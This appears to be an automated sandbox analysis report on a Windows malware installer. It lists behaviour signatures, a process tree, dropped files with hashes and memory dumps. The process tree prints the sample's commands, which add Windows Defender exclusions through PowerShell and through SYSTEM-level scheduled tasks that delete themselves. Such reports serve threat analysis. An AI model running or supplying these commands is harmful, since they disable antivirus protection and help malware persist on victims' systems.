Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 15:40

General

  • Target
    install_c0b014.exe
  • Size 40.7MB
  • Sample260809-s4lvaabb47
  • SHA256 52a6d731c66112a7232d4e2f38094e3c7269e6bedf71b2956a7f516bc55e557d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_c0b014.exe
    "C:\Users\Admin\AppData\Local\Temp\install_c0b014.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1744
  • C:\Users\Public\qFcVQ2\i5H1FK.exe
    "C:\Users\Public\qFcVQ2\i5H1FK.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:5988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3508
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qFcVQ2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:2144
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qFcVQ2\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5892
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4700
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5992
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:3380
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3364
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4344
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:200
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:1524
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1156
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1368
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2476
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4204
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1372
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2732
                • C:\Users\Public\qFcVQ2\i5H1FK.exe
                  "C:\Users\Public\qFcVQ2\i5H1FK.exe"
                  1⤵
                    PID:5372
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qFcVQ2" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    PID:348
                  • C:\Windows\system32\cmd.exe
                    cmd.exe
                    1⤵
                      PID:5572
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:2968
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:4900

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          UxEnhance64.dll

                          • Path C:\Users\Public\qFcVQ2\UxEnhance64.dll
                          • Size 3.1MB
                          • SHA256 ffa678f087aa84c7b998adc6466957f616290bf37c7f662d46efc63d01eed811
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          adoresd.dat

                          • Path C:\Users\Public\qFcVQ2\adoresd.dat
                          • Size 4.7MB
                          • SHA256 af029df7f964723bf2ee4edc268dfe5af09884faf584f0b2ee8a9b5fba202191
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          i5H1FK.exe

                          • Path C:\Users\Public\qFcVQ2\i5H1FK.exe
                          • Size 135KB
                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          msadox.tb

                          • Path C:\Users\Public\qFcVQ2\msadox.tb
                          • Size 8KB
                          • SHA256 17ecfab88fa81ee41caeaf4416f635f7a17d8810ab1c67fac8c4a042bbf5db4d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1744-524-0x0000000004780000-0x000000000478E000-memory.dmp

                          memory/1744-0-0x0000000004780000-0x000000000478E000-memory.dmp

                          memory/1744-525-0x00007FFD421E0000-0x00007FFD421F2000-memory.dmp

                          memory/1744-504-0x00007FFD421E0000-0x00007FFD421F2000-memory.dmp

                          memory/1744-2-0x0000000004790000-0x000000000479C000-memory.dmp

                          memory/1744-1-0x0000000004780000-0x000000000478E000-memory.dmp

                          memory/3508-593-0x000002546B660000-0x000002546B682000-memory.dmp

                          memory/5372-584-0x0000022A761F0000-0x0000022A76A81000-memory.dmp

                          memory/5372-585-0x0000022A761F0000-0x0000022A76A81000-memory.dmp

                          memory/5372-586-0x0000022A761F0000-0x0000022A76A81000-memory.dmp

                          memory/5372-587-0x00007FFD4C6B0000-0x00007FFD4C6B2000-memory.dmp

                          memory/5372-579-0x0000022A761F0000-0x0000022A76A81000-memory.dmp

                          memory/5372-583-0x0000022A761F0000-0x0000022A76A81000-memory.dmp

                          memory/5372-578-0x00007FFD4C6C0000-0x00007FFD4C6C2000-memory.dmp

                          memory/5372-573-0x00007FFD29A40000-0x00007FFD29F5E000-memory.dmp

                          memory/5372-576-0x0000022A761F0000-0x0000022A76A81000-memory.dmp

                          memory/5988-546-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-558-0x0000023D8EC90000-0x0000023D8ED1A000-memory.dmp

                          memory/5988-556-0x0000023D8D3A0000-0x0000023D8D3EE000-memory.dmp

                          memory/5988-557-0x0000023D8EC90000-0x0000023D8ED1A000-memory.dmp

                          memory/5988-560-0x0000023D8EC90000-0x0000023D8ED1A000-memory.dmp

                          memory/5988-564-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-566-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-567-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-559-0x0000023D8EC90000-0x0000023D8ED1A000-memory.dmp

                          memory/5988-550-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-545-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-544-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-543-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-539-0x0000023D8F940000-0x0000023D901D1000-memory.dmp

                          memory/5988-538-0x00007FFD4C6C0000-0x00007FFD4C6C2000-memory.dmp

                          memory/5988-530-0x00007FFD4C6B0000-0x00007FFD4C6B2000-memory.dmp

                          memory/5988-531-0x00007FFD29A40000-0x00007FFD29F5E000-memory.dmp

                          memory/5988-536-0x0000023D8F940000-0x0000023D901D1000-memory.dmp